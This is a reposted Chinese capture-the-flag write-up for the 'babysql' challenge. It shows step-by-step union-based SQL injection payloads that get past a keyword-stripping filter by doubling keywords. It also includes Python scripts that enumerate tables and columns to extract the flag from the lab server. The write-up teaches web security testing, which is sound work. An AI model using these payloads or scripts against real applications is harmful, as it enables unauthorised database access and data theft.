[極客大挑戰2019]babysql1題解


在做題頁面輸入賬號為admin,密碼隨便輸入一個,提示密碼錯誤。此外username和password竟然用get方法傳輸,我很意外,不過倒是方便了測試。

接着更換密碼為'or''=',結果為:

登錄成功,但是並沒有什么用,沒有flag,只能說明這里可以注入,單引號和or沒有過濾。

接下來進行sql注入的標准步驟,爆查詢結果的列數。

password = 'or''='' union select 1%23

報錯很有意思,如果列數不對的話,按理說報錯應該報The used SELECT statements have a different number of columns錯誤,但是報錯明顯有問題,union和select可能被過濾掉了。

考慮到語句是被處理之后被執行,而且不是警告你在進行SQL注入,這里可能就是單純把一些關鍵詞replace成了空字符串,可以用雙寫來繞過。

構造payload測試:

password='or''='' ununionion seleselectct 1%23

看來不止一列,經測試是三列。

接下來爆庫名:

password='or''='' uniunionon selselectect group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) frfromom infoorrmation_schema.schemata limit 1 offset 1%23

發現有一個叫ctf的庫。(圖有點亂,不放了)

接下來爆表名:

password='or''='' ununionion seleselectct table_name,1,1 frfromom information_schema.tables limit 1 offset 1%23

然后我被教育了:

我之前的or並沒有被過濾,這咋沒了or。也就是說我之前其實也被過濾了,我把兩個單引號當成了密碼,查詢結果其實只是后面起的作用。這樣的話我就不能offset 1了,得從0開始。

新的payload

password=admin' ununionion seleselectct table_name,table_name,1 frfromom infoorrmation_schema.tables limit 1 offset 0%23

以上一次只能獲取一個名,因此我直接寫了個腳本,每次修改offset的值。其實有辦法更簡單,就是拼接字符串,我前面用到了group_concat(),可以一次性獲得所有表名,我這里純粹就是腦子抽抽了想換種方法。(可能我腦子有病覺得那樣挑戰太簡單了??)

import requests
from bs4 import BeautifulSoup
url='http://b04d9b72-9e9a-4e89-82f5-743ab2a72ce3.node3.buuoj.cn/check.php?username=admin&password=admin%27%20ununionion%20seleselectct%20table_name,table_name,1%20frfromom%20infoorrmation_schema.tables%20limit%201%20offset%20{}%23'
#如果表名在200以內,后面會拋異常自動結束
for i in range(0,200):
    r = requests.get(url.format(i))
    soup = BeautifulSoup(r.text,'html.parser')
    tmp = soup('p')[1].text.replace('Hello ','')
    print(tmp.replace('!',''))

發現了Flag表。

繼續之前的腳本,修改部分進行爆列名:

password=admin' ununionion seleselectct column_name,column_name,column_name frfromom infoorrmation_schema.columns whwhereere table_name='Flag' limit 1 offset 0%23
import requests
from bs4 import BeautifulSoup
url='http://b04d9b72-9e9a-4e89-82f5-743ab2a72ce3.node3.buuoj.cn/check.php?username=admin&password=admin%27%20ununionion%20seleselectct%20column_name,column_name,column_name%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name=%27Flag%27%20limit%201%20offset%20{}%23'
for i in range(0,50):
    r = requests.get(url.format(i))
    soup = BeautifulSoup(r.text,'html.parser')
    tmp = soup('p')[1].text.replace('Hello ','')
    print(tmp.replace('!',''))


發現只有一個flag列。

一切就緒,最終的payload。

admin' ununionion seleselectct flag,flag,flag frfromom ctf.Flag limit 1 offset 0%23

這個題主要考察了SQL注入中利用雙寫關鍵字繞過str.replace()這一特性。其他部分就比較常規了,爆庫,爆表,爆列然后查詢即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM